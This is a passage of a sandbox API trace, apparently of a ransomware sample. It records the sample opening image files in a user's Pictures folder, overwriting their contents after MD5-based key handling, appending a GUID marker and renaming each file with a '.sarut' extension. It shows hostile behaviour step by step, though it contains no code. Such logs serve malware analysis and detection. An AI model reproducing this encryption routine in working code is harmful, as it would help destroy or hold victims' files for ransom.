hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.025] GetLastError () returned 0x0 [0272.025] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.025] CryptReleaseContext (hProv=0x2fa5390, dwFlags=0x0) returned 1 [0272.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0272.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x740) returned 0x30b3078 [0272.025] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0272.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.025] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x73b, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb24*=0x73b, lpOverlapped=0x0) returned 1 [0272.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0272.026] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x740, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0272.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0272.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0272.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0272.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.026] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0272.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0272.026] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.026] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.026] CloseHandle (hObject=0x5c4) returned 1 [0272.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0272.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0272.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0272.028] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\0 hjFn64gP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\0 hjfn64gp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\0 hjFn64gP.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\0 hjfn64gp.jpg.sarut")) returned 1 [0272.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.029] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0272.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0272.030] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ba8580, ftCreationTime.dwHighDateTime=0x1d4c81d, ftLastAccessTime.dwLowDateTime=0xea81e4c0, ftLastAccessTime.dwHighDateTime=0x1d4d268, ftLastWriteTime.dwLowDateTime=0xea81e4c0, ftLastWriteTime.dwHighDateTime=0x1d4d268, nFileSizeHigh=0x0, nFileSizeLow=0x62c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5SOK8nzJPtO5w6tJww.png", cAlternateFileName="5SOK8N~1.PNG")) returned 1 [0272.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0272.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.030] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\5SOK8nzJPtO5w6tJww.png") returned=".png" [0272.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\5SOK8nzJPtO5w6tJww.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\5sok8nzjpto5w6tjww.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.031] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=25283) returned 1 [0272.031] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.033] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x629d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.033] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.035] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0272.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.035] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.035] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x62c3, lpOverlapped=0x0) returned 1 [0272.036] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.036] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0272.036] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.036] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.036] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5390) returned 1 [0272.037] CryptCreateHash (in: hProv=0x2fa5390, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.037] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.037] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.037] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0272.037] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.037] GetLastError () returned 0x0 [0272.037] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.037] CryptReleaseContext (hProv=0x2fa5390, dwFlags=0x0) returned 1 [0272.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0272.037] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x62c0) returned 0x311d708 [0272.037] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0272.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.038] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x62be, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x62be, lpOverlapped=0x0) returned 1 [0272.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.038] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x62c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0272.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0272.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0272.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0272.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.038] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0272.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0272.038] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.038] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.038] CloseHandle (hObject=0x5c4) returned 1 [0272.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x31157b0 [0272.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0272.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b0 | out: hHeap=0x640000) returned 1 [0272.040] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\5SOK8nzJPtO5w6tJww.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\5sok8nzjpto5w6tjww.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\5SOK8nzJPtO5w6tJww.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\5sok8nzjpto5w6tjww.png.sarut")) returned 1 [0272.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.041] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0272.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0272.042] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6732b70, ftCreationTime.dwHighDateTime=0x1d4ceed, ftLastAccessTime.dwLowDateTime=0xfefe92e0, ftLastAccessTime.dwHighDateTime=0x1d4c881, ftLastWriteTime.dwLowDateTime=0xfefe92e0, ftLastWriteTime.dwHighDateTime=0x1d4c881, nFileSizeHigh=0x0, nFileSizeLow=0x17da2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dSMvKtmHiWH 1Bu.gif", cAlternateFileName="DSMVKT~1.GIF")) returned 1 [0272.042] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.042] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0272.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.042] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\dSMvKtmHiWH 1Bu.gif") returned=".gif" [0272.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\dSMvKtmHiWH 1Bu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\dsmvktmhiwh 1bu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.043] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=97698) returned 1 [0272.043] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.046] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.046] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.048] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0272.048] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.048] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.048] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x17da2, lpOverlapped=0x0) returned 1 [0272.049] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.049] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0272.049] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.049] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.049] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5390) returned 1 [0272.050] CryptCreateHash (in: hProv=0x2fa5390, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.050] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.050] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0272.050] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.050] GetLastError () returned 0x0 [0272.050] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.051] CryptReleaseContext (hProv=0x2fa5390, dwFlags=0x0) returned 1 [0272.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0272.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x17da0) returned 0x311d708 [0272.051] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0272.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.051] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x17d9d, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x17d9d, lpOverlapped=0x0) returned 1 [0272.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.052] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17da2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0272.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0272.052] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.052] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.052] CloseHandle (hObject=0x5c4) returned 1 [0272.056] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\dSMvKtmHiWH 1Bu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\dsmvktmhiwh 1bu.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\dSMvKtmHiWH 1Bu.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\dsmvktmhiwh 1bu.gif.sarut")) returned 1 [0272.058] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a36b120, ftCreationTime.dwHighDateTime=0x1d4ce54, ftLastAccessTime.dwLowDateTime=0x8dda0a0, ftLastAccessTime.dwHighDateTime=0x1d4d325, ftLastWriteTime.dwLowDateTime=0x8dda0a0, ftLastWriteTime.dwHighDateTime=0x1d4d325, nFileSizeHigh=0x0, nFileSizeLow=0x10876, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eLYk8XmS1.gif", cAlternateFileName="ELYK8X~1.GIF")) returned 1 [0272.058] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\eLYk8XmS1.gif") returned=".gif" [0272.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\eLYk8XmS1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\elyk8xms1.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.058] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=67702) returned 1 [0272.058] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.061] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.061] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.064] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x10876, lpOverlapped=0x0) returned 1 [0272.065] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.065] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.065] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.065] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5390) returned 1 [0272.066] CryptCreateHash (in: hProv=0x2fa5390, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.066] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.066] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.066] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.066] GetLastError () returned 0x0 [0272.066] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.066] CryptReleaseContext (hProv=0x2fa5390, dwFlags=0x0) returned 1 [0272.067] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10876, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.067] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.067] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.067] CloseHandle (hObject=0x5c4) returned 1 [0272.075] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\eLYk8XmS1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\elyk8xms1.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\eLYk8XmS1.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\elyk8xms1.gif.sarut")) returned 1 [0272.076] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa03680, ftCreationTime.dwHighDateTime=0x1d4cd6b, ftLastAccessTime.dwLowDateTime=0x97b583f0, ftLastAccessTime.dwHighDateTime=0x1d4d119, ftLastWriteTime.dwLowDateTime=0x97b583f0, ftLastWriteTime.dwHighDateTime=0x1d4d119, nFileSizeHigh=0x0, nFileSizeLow=0x6525, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pXiB_A.png", cAlternateFileName="")) returned 1 [0272.076] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\pXiB_A.png") returned=".png" [0272.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\pXiB_A.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\pxib_a.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.077] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=25893) returned 1 [0272.077] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.079] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x64ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.080] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.081] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6525, lpOverlapped=0x0) returned 1 [0272.082] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.082] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.082] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.082] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5390) returned 1 [0272.083] CryptCreateHash (in: hProv=0x2fa5390, Algid=0x8003, hKey=0x0, dwFlags=0x0, 